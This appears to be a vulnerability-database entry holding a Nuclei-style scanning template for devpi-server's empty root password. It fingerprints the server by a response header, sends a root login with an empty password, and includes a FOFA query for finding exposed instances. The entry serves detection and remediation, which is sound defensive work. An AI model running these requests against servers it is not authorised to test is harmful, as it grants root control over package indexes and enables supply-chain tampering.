devpi-server creates the root user with an empty password when the server directory is initialized without --root-passwd. Anyone who logs in as root with that empty password can create users and indexes, change who may upload to each index, and upload or replace the packages that pip clients install from the server.
Details
Severity
高危
Published
PoC
Public
PoC
id: devpi-default-login
info:
name: devpi - Default Login
author: franco944796
severity: high
description: |
devpi-server creates the root user with an empty password when the server directory is initialized without --root-passwd. Anyone who logs in as root with that empty password can create users and indexes, change who may upload to each index, and upload or replace the packages that pip clients install from the server.
remediation: |
Set a strong root password (devpi-init --root-passwd, or devpi user -m root password=...) and start devpi-server with --restrict-modify to limit who can create and modify users and indexes.
reference:
- https://github.com/devpi/devpi/blob/main/doc/quickstart-server.rst
- https://github.com/devpi/devpi/blob/main/server/devpi_server/config.py
classification:
cwe-id: CWE-522
metadata:
verified: true
max-request: 2
vendor: devpi
product: devpi-server
fofa-query: header="X-Devpi-Server-Version"
tags: devpi,pypi,default-login
variables:
username: "root"
password: ""
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers:
- type: dsl
dsl:
- 'contains(to_lower(header), "x-devpi-server-version")'
internal: true
- raw:
- |
POST /+login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
Accept: application/json
{"user":"{{username}}","password":"{{password}}"}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "json")'
- 'contains_all(body, "login successful", "proxyauth")'
condition: and
# digest: 4b0a00483046022100d82995947430dfe79804e2857821a10f2bf65298242e0817479d2d572a0ed301022100c34a738bbe03e99965082b009acdd45c8f6ff2cb9eb997207eafec823d4d5097:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.